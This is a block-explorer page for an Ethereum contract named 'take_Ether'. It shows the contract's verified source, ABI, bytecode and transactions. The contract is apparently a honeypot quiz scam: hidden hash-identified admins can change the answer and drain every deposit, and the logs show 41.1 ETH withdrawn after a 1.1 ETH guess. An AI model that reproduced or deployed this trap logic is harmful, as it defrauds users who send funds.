ETH Price: $3,959.88 (+1.28%)

Contract

0x2748cBCa4fcF6202A8851913f35463a4C75Ef0e9
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop194174542024-03-12 7:17:35279 days ago1710227855IN
0x2748cBCa...4C75Ef0e9
0 ETH0.0016298553.14683005
Try194152042024-03-11 23:43:47279 days ago1710200627IN
0x2748cBCa...4C75Ef0e9
1.1 ETH0.0014342758.28499175
Start194028772024-03-10 6:22:35281 days ago1710051755IN
0x2748cBCa...4C75Ef0e9
40 ETH0.001224743.92300004

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
194174542024-03-12 7:17:35279 days ago1710227855
0x2748cBCa...4C75Ef0e9
41.1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
take_Ether

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2024-03-10
*/

contract take_Ether
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }
    }

    string public question;

    bytes32 responseHash;

    mapping (bytes32=>bool) admin;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
        responseHash = 0x0;
    }

    function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }

    constructor(bytes32[] memory admins) {
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))]);
        _;
    }

    fallback() external {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

608060405234801561001057600080fd5b506040516108d83803806108d883398101604081905261002f916100b0565b60005b8151811015610093576001600260008484815181106100535761005361016d565b6020026020010151815260200190815260200160002060006101000a81548160ff021916908315150217905550808061008b90610183565b915050610032565b50506101aa565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156100c357600080fd5b82516001600160401b03808211156100da57600080fd5b818501915085601f8301126100ee57600080fd5b8151818111156101005761010061009a565b8060051b604051601f19603f830116810181811085821117156101255761012561009a565b60405291825284820192508381018501918883111561014357600080fd5b938501935b8285101561016157845184529385019392850192610148565b98975050505050505050565b634e487b7160e01b600052603260045260246000fd5b6000600182016101a357634e487b7160e01b600052601160045260246000fd5b5060010190565b61071f806101b96000396000f3fe60806040526004361061004a5760003560e01c80633853682c146100585780633fad9ae01461006b578063bedf0f4a14610096578063c76de3e91461009e578063ed8df164146100b1575b34801561005657600080fd5b005b610056610066366004610371565b6100c4565b34801561007757600080fd5b50610080610144565b60405161008d9190610422565b60405180910390f35b6100566101d2565b6100566100ac3660046104b9565b610257565b6100566100bf366004610525565b6102f5565b3332146100d057600080fd5b806040516020016100e19190610422565b6040516020818303038152906040528051906020012060015414801561010e5750670de0b6b3a764000034115b156101415760405133904780156108fc02916000818181858888f1935050505015801561013f573d6000803e3d6000fd5b505b50565b6000805461015190610571565b80601f016020809104026020016040519081016040528092919081815260200182805461017d90610571565b80156101ca5780601f1061019f576101008083540402835291602001916101ca565b820191906000526020600020905b8154815290600101906020018083116101ad57829003601f168201915b505050505081565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661022357600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561024f573d6000803e3d6000fd5b506000600155565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff166102a857600080fd5b6001546000036102ef5781816040516020016102c59291906105ab565b60408051601f19818403018152919052805160209091012060015560006102ed848683610629565b505b50505050565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661034657600080fd5b6000610353838583610629565b506001555050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561038357600080fd5b813567ffffffffffffffff8082111561039b57600080fd5b818401915084601f8301126103af57600080fd5b8135818111156103c1576103c161035b565b604051601f8201601f19908116603f011681019083821181831017156103e9576103e961035b565b8160405282815287602084870101111561040257600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b8181101561044f57858101830151858201604001528201610433565b506000604082860101526040601f19601f8301168501019250505092915050565b60008083601f84011261048257600080fd5b50813567ffffffffffffffff81111561049a57600080fd5b6020830191508360208285010111156104b257600080fd5b9250929050565b600080600080604085870312156104cf57600080fd5b843567ffffffffffffffff808211156104e757600080fd5b6104f388838901610470565b9096509450602087013591508082111561050c57600080fd5b5061051987828801610470565b95989497509550505050565b60008060006040848603121561053a57600080fd5b833567ffffffffffffffff81111561055157600080fd5b61055d86828701610470565b909790965060209590950135949350505050565b600181811c9082168061058557607f821691505b6020821081036105a557634e487b7160e01b600052602260045260246000fd5b50919050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b601f82111561062457600081815260208120601f850160051c810160208610156106015750805b601f850160051c820191505b818110156106205782815560010161060d565b5050505b505050565b67ffffffffffffffff8311156106415761064161035b565b6106558361064f8354610571565b836105da565b6000601f84116001811461068957600085156106715750838201355b600019600387901b1c1916600186901b1783556102ed565b600083815260209020601f19861690835b828110156106ba578685013582556020948501946001909201910161069a565b50868210156106d75760001960f88860031b161c19848701351681555b505060018560011b018355505050505056fea2646970667358221220d0aaf538ce0eb7a90da00162f1e3f76cefbdbde1a00f50c7824343e8a9b4a1d064736f6c63430008130033000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000031854b6e085f3918a2403af5217857f1768801d89fccdbb79e17990085994f5e1db47c5cbd3b736f8b2e262e991d31c053f0c7563d7ae5281d159a524cd7309f5edb0d0d0b4d560e361e91f76451e8d70c26c3d99cb50f2bd25901c683ed8c9d5

Deployed Bytecode

0x60806040526004361061004a5760003560e01c80633853682c146100585780633fad9ae01461006b578063bedf0f4a14610096578063c76de3e91461009e578063ed8df164146100b1575b34801561005657600080fd5b005b610056610066366004610371565b6100c4565b34801561007757600080fd5b50610080610144565b60405161008d9190610422565b60405180910390f35b6100566101d2565b6100566100ac3660046104b9565b610257565b6100566100bf366004610525565b6102f5565b3332146100d057600080fd5b806040516020016100e19190610422565b6040516020818303038152906040528051906020012060015414801561010e5750670de0b6b3a764000034115b156101415760405133904780156108fc02916000818181858888f1935050505015801561013f573d6000803e3d6000fd5b505b50565b6000805461015190610571565b80601f016020809104026020016040519081016040528092919081815260200182805461017d90610571565b80156101ca5780601f1061019f576101008083540402835291602001916101ca565b820191906000526020600020905b8154815290600101906020018083116101ad57829003601f168201915b505050505081565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661022357600080fd5b60405133904780156108fc02916000818181858888f1935050505015801561024f573d6000803e3d6000fd5b506000600155565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff166102a857600080fd5b6001546000036102ef5781816040516020016102c59291906105ab565b60408051601f19818403018152919052805160209091012060015560006102ed848683610629565b505b50505050565b6040516001600160601b03193360601b16602082015260029060009060340160408051601f198184030181529181528151602092830120835290820192909252016000205460ff1661034657600080fd5b6000610353838583610629565b506001555050565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561038357600080fd5b813567ffffffffffffffff8082111561039b57600080fd5b818401915084601f8301126103af57600080fd5b8135818111156103c1576103c161035b565b604051601f8201601f19908116603f011681019083821181831017156103e9576103e961035b565b8160405282815287602084870101111561040257600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208083528351808285015260005b8181101561044f57858101830151858201604001528201610433565b506000604082860101526040601f19601f8301168501019250505092915050565b60008083601f84011261048257600080fd5b50813567ffffffffffffffff81111561049a57600080fd5b6020830191508360208285010111156104b257600080fd5b9250929050565b600080600080604085870312156104cf57600080fd5b843567ffffffffffffffff808211156104e757600080fd5b6104f388838901610470565b9096509450602087013591508082111561050c57600080fd5b5061051987828801610470565b95989497509550505050565b60008060006040848603121561053a57600080fd5b833567ffffffffffffffff81111561055157600080fd5b61055d86828701610470565b909790965060209590950135949350505050565b600181811c9082168061058557607f821691505b6020821081036105a557634e487b7160e01b600052602260045260246000fd5b50919050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b601f82111561062457600081815260208120601f850160051c810160208610156106015750805b601f850160051c820191505b818110156106205782815560010161060d565b5050505b505050565b67ffffffffffffffff8311156106415761064161035b565b6106558361064f8354610571565b836105da565b6000601f84116001811461068957600085156106715750838201355b600019600387901b1c1916600186901b1783556102ed565b600083815260209020601f19861690835b828110156106ba578685013582556020948501946001909201910161069a565b50868210156106d75760001960f88860031b161c19848701351681555b505060018560011b018355505050505056fea2646970667358221220d0aaf538ce0eb7a90da00162f1e3f76cefbdbde1a00f50c7824343e8a9b4a1d064736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000031854b6e085f3918a2403af5217857f1768801d89fccdbb79e17990085994f5e1db47c5cbd3b736f8b2e262e991d31c053f0c7563d7ae5281d159a524cd7309f5edb0d0d0b4d560e361e91f76451e8d70c26c3d99cb50f2bd25901c683ed8c9d5

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 1854b6e085f3918a2403af5217857f1768801d89fccdbb79e17990085994f5e1
Arg [3] : db47c5cbd3b736f8b2e262e991d31c053f0c7563d7ae5281d159a524cd7309f5
Arg [4] : edb0d0d0b4d560e361e91f76451e8d70c26c3d99cb50f2bd25901c683ed8c9d5


Deployed Bytecode Sourcemap

0:1287:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28:284;;;;;;:::i;:::-;;:::i;320:22::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;665:138;;;:::i;418:239::-;;;;;;:::i;:::-;;:::i;811:164::-;;;;;;:::i;:::-;;:::i;28:284::-;105:10;119:9;105:23;97:32;;;;;;182:9;171:21;;;;;;;;:::i;:::-;;;;;;;;;;;;;161:32;;;;;;145:12;;:48;:71;;;;;209:7;197:9;:19;145:71;142:163;;;242:51;;250:10;;271:21;242:51;;;;;;;;;271:21;250:10;242:51;;;;;;;;;;;;;;;;;;;;;142:163;28:284;:::o;320:22::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;665:138::-;1203:28;;-1:-1:-1;;;;;;1220:10:0;3723:2:1;3719:15;3715:53;1203:28:0;;;3703:66:1;1187:5:0;;:46;;3785:12:1;;1203:28:0;;;-1:-1:-1;;1203:28:0;;;;;;;;;1193:39;;1203:28;1193:39;;;;1187:46;;;;;;;;;;-1:-1:-1;1187:46:0;;;;1179:55;;;;;;715:51:::1;::::0;723:10:::1;::::0;744:21:::1;715:51:::0;::::1;;;::::0;::::1;::::0;;;744:21;723:10;715:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;792:3:0::1;777:12;:18:::0;665:138::o;418:239::-;1203:28;;-1:-1:-1;;;;;;1220:10:0;3723:2:1;3719:15;3715:53;1203:28:0;;;3703:66:1;1187:5:0;;:46;;3785:12:1;;1203:28:0;;;-1:-1:-1;;1203:28:0;;;;;;;;;1193:39;;1203:28;1193:39;;;;1187:46;;;;;;;;;;-1:-1:-1;1187:46:0;;;;1179:55;;;;;;523:12:::1;::::0;537:3:::1;523:17:::0;520:130:::1;;592:9;;581:21;;;;;;;;;:::i;:::-;;::::0;;-1:-1:-1;;581:21:0;;::::1;::::0;;;;;;571:32;;581:21:::1;571:32:::0;;::::1;::::0;556:12:::1;:47:::0;618:8:::1;:20;629:9:::0;;618:8;:20:::1;:::i;:::-;;520:130;418:239:::0;;;;:::o;811:164::-;1203:28;;-1:-1:-1;;;;;;1220:10:0;3723:2:1;3719:15;3715:53;1203:28:0;;;3703:66:1;1187:5:0;;:46;;3785:12:1;;1203:28:0;;;-1:-1:-1;;1203:28:0;;;;;;;;;1193:39;;1203:28;1193:39;;;;1187:46;;;;;;;;;;-1:-1:-1;1187:46:0;;;;1179:55;;;;;;908:8:::1;:20;919:9:::0;;908:8;:20:::1;:::i;:::-;-1:-1:-1::0;939:12:0::1;:28:::0;-1:-1:-1;;811:164:0:o;14:127:1:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:922;215:6;268:2;256:9;247:7;243:23;239:32;236:52;;;284:1;281;274:12;236:52;324:9;311:23;353:18;394:2;386:6;383:14;380:34;;;410:1;407;400:12;380:34;448:6;437:9;433:22;423:32;;493:7;486:4;482:2;478:13;474:27;464:55;;515:1;512;505:12;464:55;551:2;538:16;573:2;569;566:10;563:36;;;579:18;;:::i;:::-;654:2;648:9;622:2;708:13;;-1:-1:-1;;704:22:1;;;728:2;700:31;696:40;684:53;;;752:18;;;772:22;;;749:46;746:72;;;798:18;;:::i;:::-;838:10;834:2;827:22;873:2;865:6;858:18;913:7;908:2;903;899;895:11;891:20;888:33;885:53;;;934:1;931;924:12;885:53;990:2;985;981;977:11;972:2;964:6;960:15;947:46;1035:1;1013:15;;;1030:2;1009:24;1002:35;;;;-1:-1:-1;1017:6:1;146:922;-1:-1:-1;;;;;146:922:1:o;1073:548::-;1185:4;1214:2;1243;1232:9;1225:21;1275:6;1269:13;1318:6;1313:2;1302:9;1298:18;1291:34;1343:1;1353:140;1367:6;1364:1;1361:13;1353:140;;;1462:14;;;1458:23;;1452:30;1428:17;;;1447:2;1424:26;1417:66;1382:10;;1353:140;;;1357:3;1542:1;1537:2;1528:6;1517:9;1513:22;1509:31;1502:42;1612:2;1605;1601:7;1596:2;1588:6;1584:15;1580:29;1569:9;1565:45;1561:54;1553:62;;;;1073:548;;;;:::o;1626:348::-;1678:8;1688:6;1742:3;1735:4;1727:6;1723:17;1719:27;1709:55;;1760:1;1757;1750:12;1709:55;-1:-1:-1;1783:20:1;;1826:18;1815:30;;1812:50;;;1858:1;1855;1848:12;1812:50;1895:4;1887:6;1883:17;1871:29;;1947:3;1940:4;1931:6;1923;1919:19;1915:30;1912:39;1909:59;;;1964:1;1961;1954:12;1909:59;1626:348;;;;;:::o;1979:721::-;2071:6;2079;2087;2095;2148:2;2136:9;2127:7;2123:23;2119:32;2116:52;;;2164:1;2161;2154:12;2116:52;2204:9;2191:23;2233:18;2274:2;2266:6;2263:14;2260:34;;;2290:1;2287;2280:12;2260:34;2329:59;2380:7;2371:6;2360:9;2356:22;2329:59;:::i;:::-;2407:8;;-1:-1:-1;2303:85:1;-1:-1:-1;2495:2:1;2480:18;;2467:32;;-1:-1:-1;2511:16:1;;;2508:36;;;2540:1;2537;2530:12;2508:36;;2579:61;2632:7;2621:8;2610:9;2606:24;2579:61;:::i;:::-;1979:721;;;;-1:-1:-1;2659:8:1;-1:-1:-1;;;;1979:721:1:o;2705:479::-;2785:6;2793;2801;2854:2;2842:9;2833:7;2829:23;2825:32;2822:52;;;2870:1;2867;2860:12;2822:52;2910:9;2897:23;2943:18;2935:6;2932:30;2929:50;;;2975:1;2972;2965:12;2929:50;3014:59;3065:7;3056:6;3045:9;3041:22;3014:59;:::i;:::-;3092:8;;2988:85;;-1:-1:-1;3174:2:1;3159:18;;;;3146:32;;2705:479;-1:-1:-1;;;;2705:479:1:o;3189:380::-;3268:1;3264:12;;;;3311;;;3332:61;;3386:4;3378:6;3374:17;3364:27;;3332:61;3439:2;3431:6;3428:14;3408:18;3405:38;3402:161;;3485:10;3480:3;3476:20;3473:1;3466:31;3520:4;3517:1;3510:15;3548:4;3545:1;3538:15;3402:161;;3189:380;;;:::o;3808:390::-;3967:2;3956:9;3949:21;4006:6;4001:2;3990:9;3986:18;3979:34;4063:6;4055;4050:2;4039:9;4035:18;4022:48;4119:1;4090:22;;;4114:2;4086:31;;;4079:42;;;;4182:2;4161:15;;;-1:-1:-1;;4157:29:1;4142:45;4138:54;;3808:390;-1:-1:-1;3808:390:1:o;4329:545::-;4431:2;4426:3;4423:11;4420:448;;;4467:1;4492:5;4488:2;4481:17;4537:4;4533:2;4523:19;4607:2;4595:10;4591:19;4588:1;4584:27;4578:4;4574:38;4643:4;4631:10;4628:20;4625:47;;;-1:-1:-1;4666:4:1;4625:47;4721:2;4716:3;4712:12;4709:1;4705:20;4699:4;4695:31;4685:41;;4776:82;4794:2;4787:5;4784:13;4776:82;;;4839:17;;;4820:1;4809:13;4776:82;;;4780:3;;;4420:448;4329:545;;;:::o;5050:1206::-;5174:18;5169:3;5166:27;5163:53;;;5196:18;;:::i;:::-;5225:94;5315:3;5275:38;5307:4;5301:11;5275:38;:::i;:::-;5269:4;5225:94;:::i;:::-;5345:1;5370:2;5365:3;5362:11;5387:1;5382:616;;;;6042:1;6059:3;6056:93;;;-1:-1:-1;6115:19:1;;;6102:33;6056:93;-1:-1:-1;;5007:1:1;5003:11;;;4999:24;4995:29;4985:40;5031:1;5027:11;;;4982:57;6162:78;;5355:895;;5382:616;4276:1;4269:14;;;4313:4;4300:18;;-1:-1:-1;;5418:17:1;;;5519:9;5541:229;5555:7;5552:1;5549:14;5541:229;;;5644:19;;;5631:33;5616:49;;5751:4;5736:20;;;;5704:1;5692:14;;;;5571:12;5541:229;;;5545:3;5798;5789:7;5786:16;5783:159;;;5922:1;5918:6;5912:3;5906;5903:1;5899:11;5895:21;5891:34;5887:39;5874:9;5869:3;5865:19;5852:33;5848:79;5840:6;5833:95;5783:159;;;5985:1;5979:3;5976:1;5972:11;5968:19;5962:4;5955:33;5355:895;;5050:1206;;;:::o

Swarm Source

ipfs://d0aaf538ce0eb7a90da00162f1e3f76cefbdbde1a00f50c7824343e8a9b4a1d0

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.